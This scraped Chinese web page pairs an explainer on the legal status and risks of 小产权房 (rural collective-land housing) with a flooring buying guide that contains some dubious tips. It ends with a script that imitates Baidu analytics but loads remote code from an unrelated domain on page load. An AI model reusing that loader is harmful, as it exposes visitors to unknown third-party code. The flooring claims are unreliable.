小产权房子最新政策内容，了解你身边的知识

现在随着我们生活水平的提高，城市的居民一般都有自己的房子，农村也是，每个家庭都会建造小房子，改善我们的生活条件，农村有些土地属于集体建设的房子，这些房子就叫做小产权房，关于小产权房，我们的国家也制定了一系列的政策，目前就颁布的有小产权房子的最新政策，想必大家还不了解关于政策的详细内容，今天我们就和小编一起来了解一下。小产权房是指在农村集体土地上建设的房屋，未缴纳土地出让金等费用，其产权证不是由国家房管部门颁发，而是由乡政府或村政府颁发，亦称“乡产权房”。“小产权房”不是法律概念，是人们在社会实践中形成的一种约定俗成的称谓。该类房没有国家发放的土地使用证和预售许可证，购房合同在国土房管局不会给予备案。所谓产权证亦不是真正合法有效的产权证。《关于农村集体土地确权登记发证的若干意见》明确规定，“对于借户籍制度改革或者擅自通过‘村改居’等方式非经法定征收程序将农民集体土地转为国有土地、农村集体经济组织非法出让或出租集体土地用于非农业建设、城镇居民在农村购置宅基地、农民住宅或‘小产权房’等违法用地，不得登记发证。对于不依法依规进行土地确权登记发证或登记簿规范造成严重后果的，严肃追究有关人员责任”。根据我国《土地管理法》的规定，农民集体所有土地的使用权不得出让、转让或者出租用于非农业建设。而农村宅基地属集体所有，村民对宅基地也只享有使用权，村民将房屋卖给本村以外人员的买卖行为不能受到法律的认可与保护，也不能办理土地使用证、房产证、契税证等合法手续。购买在建小产权房时，购房人与开发商签订合同并交付房款后，如果相关部门整顿乡产权房的建设项目，可导致部分项目停建甚至被强迫拆除。购房人会面临既无法取得房屋，又不能及时索回房款的尴尬境地。这就是小产权房最新政策的内容，内容讲解的很详细，毕竟小产权房的政策也属于法律的范畴，所以说我们大家都要遵守法律制定的每一项内容，而不能触犯法律，而且法律可以很好的维护我们人民的利益，我们大家都要学会运用法律手段来维护我们的合法权益，法律这方面的知识大家应该只是了解的皮毛，建议大家都能在平时多学习一些法律方面的知识。

在选购地板时有哪些事情是需要关心了解的呢

在装修时其实最先关注的就是地板地砖一类的，因为当地面找平之后，就要开始准备铺地板，装地砖，以方便之后家具橱柜沙发等家居用品的进入，但是在选购地板时候有很大的麻烦，在地板行业里它大大小小的品牌有很多种，其中还有许许多多的分类，使大家想不通最需要最适合的是哪一个。今天就来了解一下在选购地板时的注意事项。首先，地面装饰材料按材质分实木、实木复合、复合木、竹、软木和塑料地板等等。其中实木是很多人最初的选择，实木地板隔声隔热，冬暖夏凉，而且带有天然的芬芳气息，并且脚感舒服，天然环保。对于家里有老人孩子的是最佳的选择。而且在选购地板时只要是正规厂家生长的产品都不需要考虑其环保性。但是在选购时要注意观看外表，不能有死节。气节等木材缺陷，油漆涂饰均匀，表面不能有污斑和明显缺陷，还应注意四周的榫舌和榫槽是否完整。要测量地板含水率，国家标准是10%到15%，烟火放表面燃烧不留痕迹说明防火系数高。其次最常选购的就是复合地板。它有实木地板的优点，并且经久耐用、不变形、环保、安装方便等特点。实木复合地板分为三层实木、多层实木和新型实木。三层的最厚厚度为14到15mm，多层总厚度不超过12mm，新型的效果和耐用程度与三层的相差不多。在选购地板时第一要考虑厚度膨胀率优等品的膨胀率在2.5%以下，一等品在4.5%以下。在选购地板时要检查是否有耐磨性，没有耐磨性的或者系数低的为假地板。最后在选择地板时要注意表面质量和厚度。在选择地板时有很多是大家应该注意与规避的项目，当大家一一避开这些点的时候，在选择地板时就会选择到最好最优质的的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();